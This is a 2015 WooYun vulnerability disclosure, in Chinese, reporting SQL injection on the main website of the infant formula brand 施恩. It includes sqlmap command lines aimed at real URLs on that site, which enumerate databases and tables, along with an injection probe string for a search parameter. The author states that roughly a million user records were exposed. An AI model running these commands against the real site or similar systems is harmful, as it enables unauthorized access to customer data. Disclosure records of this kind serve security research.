漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0151722
漏洞标题：施恩奶粉主站sql注入
相关厂商：施恩奶粉
漏洞作者： whynot
提交时间：2015-11-04 16:56
修复时间：2015-12-19 16:58
公开时间：2015-12-19 16:58
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-04： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-12-19： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
这个站上首页了...http://wooyun.org/bugs/wooyun-2015-0151438 感觉好轻松啊 找个主站的 103W 用户
详细说明：
随便就能找到 官网http://www.scient.com.cn/
sqlmap.py -u "http://www.scient.com.cn/news/news.php?id=175"
sqlmap.py -u "www.scient.com.cn/baby-center/mom-online.php?M
onOnlineTypeID=2*"
http://www.scient.com.cn/news/news-search.php?new_keyword=%27%22%25
随便一找就知道 没有任何限制、
sqlmap.py -u "http://www.scient.com.cn/news/news.php?id=175"
-D "wwwscient_scient" --tables --count
漏洞证明：
sqlmap.py -u "http://www.scient.com.cn/news/news.php?id=175" --dbs
修复方案：
过滤
版权声明：转载请注明来源 whynot@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝